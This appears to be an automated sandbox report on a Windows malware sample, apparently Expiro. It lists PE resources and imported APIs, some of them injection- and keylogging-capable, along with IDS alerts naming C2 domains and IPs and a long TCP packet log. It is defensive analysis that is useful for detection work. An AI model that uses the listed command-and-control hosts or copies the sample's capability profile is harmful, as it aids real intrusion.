RT_ICON	0xc47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xca038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xca4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xca4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcaa84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc7b8	0x57ee7	data			1.0003220728162214
RT_GROUP_ICON	0x1246a0	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x124718	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x12472c	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x124740	0x14	data	English	Great Britain	1.25
RT_VERSION	0x124754	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x124830	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T12:11:59.186207+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.22	49881	8.8.8.8	53	UDP
2024-11-28T12:11:59.256622+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.22	49168	TCP
2024-11-28T12:11:59.256622+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.22	49168	TCP
2024-11-28T12:12:04.812989+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.22	52781	8.8.8.8	53	UDP
2024-11-28T12:13:38.589710+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.22	49176	47.129.31.212	80	TCP
2024-11-28T12:13:38.712649+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.22	49176	TCP
2024-11-28T12:13:38.712649+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.22	49176	TCP
2024-11-28T12:13:40.919269+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.22	49177	TCP
2024-11-28T12:13:40.919269+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.22	49177	TCP
2024-11-28T12:13:45.265069+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.22	49179	TCP
2024-11-28T12:13:45.265069+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.22	49179	TCP
2024-11-28T12:13:49.618320+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.246.200.160	80	192.168.2.22	49182	TCP
2024-11-28T12:13:49.618320+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.246.200.160	80	192.168.2.22	49182	TCP
2024-11-28T12:13:51.584461+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.208.156.248	80	192.168.2.22	49183	TCP
2024-11-28T12:13:51.584461+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.208.156.248	80	192.168.2.22	49183	TCP
2024-11-28T12:14:05.039850+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.22	49187	TCP
2024-11-28T12:14:05.039850+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.22	49187	TCP
2024-11-28T12:14:06.755681+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	35.164.78.200	80	192.168.2.22	49188	TCP
2024-11-28T12:14:06.755681+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	35.164.78.200	80	192.168.2.22	49188	TCP
2024-11-28T12:14:08.144025+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.94.10.34	80	192.168.2.22	49189	TCP
2024-11-28T12:14:08.144025+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.94.10.34	80	192.168.2.22	49189	TCP
2024-11-28T12:14:14.311753+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.246.231.120	80	192.168.2.22	49196	TCP
2024-11-28T12:14:14.311753+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.246.231.120	80	192.168.2.22	49196	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 12:11:51.921605110 CET	49163	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:51.931047916 CET	49164	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.041682005 CET	80	49163	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:52.041776896 CET	49163	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.049103975 CET	49163	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.049149990 CET	49163	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.051085949 CET	80	49164	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:52.051266909 CET	49164	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.053747892 CET	49164	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.053747892 CET	49164	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:52.169158936 CET	80	49163	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:52.169186115 CET	80	49163	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:52.173810959 CET	80	49164	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:52.173820972 CET	80	49164	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.408859968 CET	80	49164	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.408965111 CET	80	49164	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.409126997 CET	49164	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:53.410072088 CET	49164	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:53.445842981 CET	80	49163	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.445935011 CET	80	49163	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.445991039 CET	49163	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:53.465167046 CET	49163	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:53.530204058 CET	80	49164	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.587500095 CET	80	49163	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:53.607706070 CET	49165	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.672868967 CET	49166	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.728588104 CET	80	49165	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:53.728646040 CET	49165	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.728768110 CET	49165	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.728799105 CET	49165	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.793143034 CET	80	49166	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:53.793191910 CET	49166	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.793314934 CET	49166	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.793332100 CET	49166	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:53.848670006 CET	80	49165	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:53.848683119 CET	80	49165	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:53.913220882 CET	80	49166	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:53.913269043 CET	80	49166	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:55.365838051 CET	49165	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:55.782172918 CET	80	49166	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:55.782280922 CET	49166	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:55.782979965 CET	80	49166	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:55.783027887 CET	49166	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:11:55.902431011 CET	80	49166	18.141.10.107	192.168.2.22
Nov 28, 2024 12:11:55.925179005 CET	49167	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:56.045676947 CET	80	49167	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:56.047384977 CET	49167	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:56.047502041 CET	49167	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:56.047527075 CET	49167	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:56.167534113 CET	80	49167	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:56.167551994 CET	80	49167	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:57.410089970 CET	80	49167	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:57.410139084 CET	80	49167	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:57.410207033 CET	49167	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:57.410315990 CET	49167	80	192.168.2.22	54.244.188.177
Nov 28, 2024 12:11:57.530265093 CET	80	49167	54.244.188.177	192.168.2.22
Nov 28, 2024 12:11:57.643866062 CET	49168	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:11:57.764548063 CET	80	49168	44.221.84.105	192.168.2.22
Nov 28, 2024 12:11:57.765393972 CET	49168	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:11:57.867679119 CET	49168	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:11:57.867697954 CET	49168	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:11:57.987678051 CET	80	49168	44.221.84.105	192.168.2.22
Nov 28, 2024 12:11:57.987715960 CET	80	49168	44.221.84.105	192.168.2.22
Nov 28, 2024 12:11:58.960014105 CET	80	49168	44.221.84.105	192.168.2.22
Nov 28, 2024 12:11:58.960059881 CET	80	49168	44.221.84.105	192.168.2.22
Nov 28, 2024 12:11:58.960108042 CET	49168	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:11:59.136543989 CET	49168	80	192.168.2.22	44.221.84.105
Nov 28, 2024 12:11:59.256622076 CET	80	49168	44.221.84.105	192.168.2.22
Nov 28, 2024 12:11:59.322465897 CET	49169	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:11:59.443047047 CET	80	49169	172.234.222.143	192.168.2.22
Nov 28, 2024 12:11:59.443110943 CET	49169	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:11:59.443458080 CET	49169	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:11:59.443593025 CET	49169	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:11:59.563446999 CET	80	49169	172.234.222.143	192.168.2.22
Nov 28, 2024 12:11:59.563611031 CET	80	49169	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:02.653353930 CET	80	49169	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:02.653424025 CET	49169	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:02.838929892 CET	49169	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:02.959556103 CET	80	49169	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:03.377630949 CET	49170	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:03.497701883 CET	80	49170	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:03.497772932 CET	49170	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:03.497939110 CET	49170	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:03.497953892 CET	49170	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:03.618161917 CET	80	49170	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:03.618172884 CET	80	49170	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:04.676234961 CET	80	49170	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:04.676282883 CET	49170	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:04.676335096 CET	49170	80	192.168.2.22	172.234.222.143
Nov 28, 2024 12:12:04.799190998 CET	80	49170	172.234.222.143	192.168.2.22
Nov 28, 2024 12:12:04.949651957 CET	49171	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:12:05.069585085 CET	80	49171	18.141.10.107	192.168.2.22
Nov 28, 2024 12:12:05.069638968 CET	49171	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:12:05.069866896 CET	49171	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:12:05.069896936 CET	49171	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:12:05.189901114 CET	80	49171	18.141.10.107	192.168.2.22
Nov 28, 2024 12:12:05.189940929 CET	80	49171	18.141.10.107	192.168.2.22
Nov 28, 2024 12:12:07.188550949 CET	80	49171	18.141.10.107	192.168.2.22
Nov 28, 2024 12:12:07.188658953 CET	49171	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:12:07.188720942 CET	80	49171	18.141.10.107	192.168.2.22
Nov 28, 2024 12:12:07.188761950 CET	49171	80	192.168.2.22	18.141.10.107
Nov 28, 2024 12:12:07.308701992 CET	80	49171	18.141.10.107	192.168.2.22
Nov 28, 2024 12:12:07.601902008 CET	49172	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:07.721873999 CET	80	49172	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:07.721924067 CET	49172	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:07.722009897 CET	49172	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:07.722022057 CET	49172	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:07.842012882 CET	80	49172	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:07.842025042 CET	80	49172	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:29.652719975 CET	80	49172	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:29.652780056 CET	49172	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:29.652900934 CET	49172	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:29.671364069 CET	49173	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:29.773561954 CET	80	49172	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:29.792404890 CET	80	49173	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:29.792470932 CET	49173	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:29.792757034 CET	49173	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:29.792785883 CET	49173	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:29.912834883 CET	80	49173	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:29.912847996 CET	80	49173	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:51.722177029 CET	80	49173	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:51.722254992 CET	49173	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:51.724642038 CET	49173	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:51.844660044 CET	80	49173	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:52.056631088 CET	49174	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:52.176600933 CET	80	49174	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:52.176652908 CET	49174	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:52.176826000 CET	49174	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:52.177009106 CET	49174	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:12:52.296870947 CET	80	49174	82.112.184.197	192.168.2.22
Nov 28, 2024 12:12:52.297034979 CET	80	49174	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:14.104649067 CET	80	49174	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:14.104820013 CET	49174	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:14.155978918 CET	49175	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:14.224860907 CET	80	49174	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:14.276052952 CET	80	49175	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:14.276109934 CET	49175	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:14.276232004 CET	49175	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:14.276252985 CET	49175	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:14.396188021 CET	80	49175	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:14.396200895 CET	80	49175	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:36.206341028 CET	80	49175	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:36.206403017 CET	49175	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:36.206439018 CET	49175	80	192.168.2.22	82.112.184.197
Nov 28, 2024 12:13:36.326407909 CET	80	49175	82.112.184.197	192.168.2.22
Nov 28, 2024 12:13:36.394376040 CET	49176	80	192.168.2.22	47.129.31.212
Nov 28, 2024 12:13:36.514379025 CET	80	49176	47.129.31.212	192.168.2.22
Nov 28, 2024 12:13:36.514480114 CET	49176	80	192.168.2.22	47.129.31.212
Nov 28, 2024 12:13:36.522104979 CET	49176	80	192.168.2.22	47.129.31.212
Nov 28, 2024 12:13:36.522145033 CET	49176	80	192.168.2.22	47.129.31.212
Nov 28, 2024 12:13:36.642146111 CET	80	49176	47.129.31.212	192.168.2.22
Nov 28, 2024 12:13:36.642157078 CET	80	49176	47.129.31.212	192.168.2.22
